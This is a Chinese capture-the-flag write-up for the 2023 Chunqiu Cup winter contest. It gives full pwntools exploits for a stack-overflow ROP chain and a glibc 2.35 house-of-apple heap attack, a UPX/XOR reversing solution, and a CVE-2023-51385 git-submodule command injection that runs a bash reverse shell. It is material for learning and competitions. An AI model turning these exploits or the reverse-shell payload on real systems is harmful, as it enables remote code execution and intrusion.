ichunqiu冬季赛

春秋杯 冬季赛

nmanager

  1. 随机数比较,但是1s 相对程序来说很撑,因此可以得到其seed
  2. 数组越界导致的栈溢出,往栈上写内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall modify(char *a1)
{
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
do
{
puts("## select the idx you want modify ##");
__isoc99_scanf("%d", &n);
printf("gender: ");
read(0, &a1[120 * n], 32uLL);
printf("age: ");
__isoc99_scanf("%lld", &a1[120 * n + 32]);
printf("name: ");
read(0, &a1[120 * n + 40], 64uLL);
printf(
"[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
(unsigned int)n,
&a1[120 * n + 40],
*(_QWORD *)&a1[120 * n + 32],
&a1[120 * n]);
puts("quit now?(Y/y)");
read(0, buf, 3uLL);
}
while ( buf[0] != 'y' && buf[0] != 'Y' );
return v3 - __readfsqword(0x28u);
}

exp如下

  • 栈上有个got表,本来是想泄露这个,但是在栈上的位置会变。后来直接泄露返回地址了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
from pwn import *
from ctypes import *


def dbg(p, cmd=""):
gdb.attach(p, cmd)


file = "nmanager_patched"
clib = CDLL("libc.so.6")
elf = ELF(file, checksec=False)
libc = elf.libc
context.binary = elf
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
# context.timeout = 2


p = elf.process()
ip, port = "39.106.48.123", 43714
p = remote(ip, port)
seed = clib.time(0)
clib.srand(seed)
table = list("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
num = clib.rand() % 62

# dbg(p)
p.sendlineafter(b"input password: ", table[num].encode())

p.sendlineafter(b"## select the idx you want modify", b"8")
p.sendafter(b"gender:", b"a" * 0x8)
p.sendlineafter(b"age: ", b"+")
p.sendafter(b"name: ", b"a" * 0x8)
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc.address = leak - 0x29d90
assert(libc.address & 0xfff == 0)
log.success("libc => %#x", libc.address)


p.sendlineafter(b"quit now?(Y/y)", b"n")
pop_rdi_ret = libc.search(asm("pop rdi; ret")).__next__()
bin_sh = libc.search(b'/bin/sh').__next__()
system = libc.sym.system
ret = 0x000000000040101a

og = libc.address + 0xebcf8
p.sendlineafter(b"## select the idx you want modify", b"8")
payload = p64(0xdeadbeef) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh)
p.sendafter(b"gender:", payload)
p.sendlineafter(b"age: ", str(system))
p.sendafter(b"name: ", b"a"*0x10)
p.sendlineafter(b"quit now?(Y/y)", b"y")


p.interactive()

book

UAF libc2.35,并且还没有沙箱,直接使用 house of apple

  • 还可以劫持的 tls_dtor_list
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python3
from pwn import *

def s(data):
return p.send(data)
def sa(delim, data):
return p.sendafter(delim, data)
def sl(data):
return p.sendline(data)
def sla(delim, data):
return p.sendlineafter(delim, data)
def r(num=4096):
return p.recv(num)
def ru(delim, drop=False):
return p.recvuntil(delim, drop)
def rl():
return p.recvline(timeout=1)
def itr():
return p.interactive()
def lg(name):
return log.success("\033[32m%s ==> 0x%x\033[0m" % (name, eval(name)))
def uu64():
return u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
def uu32():
return u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
def itob(num):
return str(num).encode()
def dbg(p, cmd=""):
gdb.attach(p, cmd)

def menu(c):
sla(b"> ", itob(c))
def new(idx, sz):
menu(1)
sla(b"Index:", itob(idx))
sla(b"what size :", itob(sz))
def delete(idx):
menu(2)
sla(b"Index:", itob(idx))
def show(idx):
menu(3)
sla(b"Index:", itob(idx))
def edit(idx, con):
menu(4)
sla(b"Index:", itob(idx))
sla(b"content: ", con)


file = "pwn_patched"


elf = ELF(file, checksec=False)
libc = elf.libc
context.binary = elf
context.log_level = "INFO"
context.terminal = ["tmux", "splitw", "-h"]


p = elf.process()
ip, port = "8.147.135.190", 24343
p = remote(ip, port)
new(10, 0x38)
new(0, 0x428)
new(1, 0x28)
new(2, 0x418)
new(3, 0x20)
new(4, 0x500)

delete(0)
show(0)
leak = uu64()

libc.address = leak - 0x219ce0
system = libc.sym.system
bin_sh = libc.search(b"/bin/sh").__next__()
IO_list_all = libc.sym._IO_list_all

delete(1)
show(1)
heap_base = u64(r(5).ljust(8, b"\x00")) << 12

new(11, 0x438)
delete(2)
payload = flat({
0x18: IO_list_all - 0x20
}, filler = b"\x00")
edit(0, payload)
new(12, 0x438) # IO_list_all => chunk 2

# # house of apple v2,change _IO_list_all
fs = FileStructure()
fs.vtable = libc.sym._IO_wfile_jumps
fs._IO_write_base = 0
fs._IO_write_ptr = 1
fs.chain = 0
fs._wide_data = heap_base + 0xb80 # chunk4
payload = bytes(fs)[0x10:]
edit(2, payload)

wdata = fit({
0xe0-0x10: heap_base + 0xb80 + 0xe0 + 0x10,
0xe0: {
0x68: libc.sym.system
}
}, filler=b"\x00")
edit(4, wdata)
# _IO_wfile_overflow

lg("heap_base")
lg("libc.address")

edit(1, b"a" * 0x20 + b" sh;")
menu(5)
# dbg(p)
itr()

HouseofSome

给出glibc2.38 patch文件:patch了 _IO_wide_data虚表检查,常见的 house of 技术无法使用

1
2
3
4
5
6
7
8
9
10
11
12
diff --git a/libio/libioP.h b/libio/libioP.h
index 745278e..b3858d1 100644
--- a/libio/libioP.h
+++ b/libio/libioP.h
@@ -100,7 +100,7 @@
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) \
- _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
+ (IO_validate_vtable(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable))
#define _IO_CHECK_WIDE(THIS) \
(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)

程序不需要自己patch,指定了runpath

1
2
3
4
5
6
$ gcc -Wl,-R/path/to/library xxx.c                   # 指定libc
$ export LD_RUN_PATH=/path/to/library # 或者
$ ldd houseofsome
linux-vdso.so.1 (0x00007ffcca981000)
libc.so.6 => ./libc.so.6 (0x00007fbff2200000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fbff24e6000)

mmap 了一段可读可写的内存

1
2
pwndbg> vmmap
0x114514000 0x114515000 rw-p 1000 0 [anon_114514]

draw 时,因为没有判断offset的值,存在溢出问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 draw()
{
__int64 offset; // [rsp+0h] [rbp-120h]
unsigned __int64 v2; // [rsp+118h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !magic
&& dev
&& name
&& (printf("offset> "), offset = getint(), printf("length> "), (unsigned __int64)getint() <= 8) )
{
fread((void *)(offset + 0x114514000LL), 1uLL, 1uLL, dev);
magic = 1;
}
else
{
puts("wrong.");
}
return __readfsqword(0x28u) ^ v2;
}

记一下知识点:

  • fopen函数会malloc一个堆块作为_IO_FILE管理结构,并头插进入_IO_list_all,使得libc内会存放一个堆地址
  • scanf 在输入 +/- 字符时,占位但是不覆盖,造成泄露栈

HouseOfSome具体WP见官方,有时间再看:2023年春秋杯冬季赛WEB、PWN类题目解析

upx2023

010editor打开,将其中的 upx 改成 UPX, 然后使用upx -d 脱壳就行

其主要逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall main(int argc, const char **argv, const char **envp)
{
std::ostream *v3; // rax
char *v4; // rax
int v6[44]; // [rsp+20h] [rbp-60h] BYREF
char input[42]; // [rsp+D0h] [rbp+50h] BYREF
int v8; // [rsp+104h] [rbp+84h]
unsigned int Seed; // [rsp+108h] [rbp+88h]
int i; // [rsp+10Ch] [rbp+8Ch]

_main();
Seed = time(0i64);
srand(Seed);
std::string::string((std::string *)input);
std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout, Str);
std::operator>><char>((std::istream *)&std::cin, (std::string *)input);
std::string::string((std::string *)&input[32], (const std::string *)input);
change((std::string *)&input[16], (std::string *)&input[32]);// 矩阵转置
std::string::operator=(input, &input[16]);
std::string::~string((std::string *)&input[16]);
std::string::~string((std::string *)&input[32]);
if ( std::string::length((std::string *)input) != 42 )
{
v3 = (std::ostream *)std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout, "len error");
std::endl<char,std::char_traits<char>>(v3);
exit(0);
}
qmemcpy(v6, &unk_46A020, 0xA8ui64);
for ( i = 0; i <= 41; ++i )
{
v8 = rand() % 255;
v4 = (char *)std::string::operator[](input, i);
if ( (v8 ^ *v4) != v6[i] )
exit(0);
}
std::string::~string((std::string *)input);
return 0;
}

异或问题:爆破时间戳(根据已知字符,前两个字符固定为 f{。change 函数是一个矩阵转化,因此可以直接使用字符串测试,并且得到其mapping,最后得到其结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
t1 = list("abcdefghijklmnopqrstuvwxyz1234567890ABCDEF")
r1 = list("aeimquy37AEbdfhjlnprtvxz24680BDFcgkosw159C")

t2 = "flag{abcdefghijklmnopqrstuvwxyz1234567890}"
r2 = "f{dhlptx260lgacegikmoqsuwy13579}abfjnrvz48"

mapping = {}

for i, c in enumerate(t1):
for j, v in enumerate(r1):
if c == v:
mapping[i] = j
print(mapping)
for i in range(42):
assert t2[i] == r2[mapping[i]]

flag = list("f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191");

for i in range(42):
print(flag[mapping[i]], end="")

modules

CVE-2023-51385(gitee 搜索就有答案

如何利用看下面两篇文章就行

新建一个 gitee 仓库,添加一个 .gitmodules 文件,反弹shell。后面的域名需要与 .config 文件一致

1
2
3
[submodule "cves"]
path = cves
url = ssh://`bash exp.sh`foo.ichunqiu.com/bar

在库里创建一个 exp.sh 文件

1
bash -i >& /dev/tcp/ip/port 0>&1

clone 仓库触发漏洞

1
$ git clone <repo> --recurse-submodules

比赛时 curl 主机没有回显,在赛后才想到可能是VPS 防火墙的问题

  • 然后curl了一下vps,发现没有接收到,后来又发现 4444 端口不行,换成 9999 端口就行😥
1
$ ufw allow port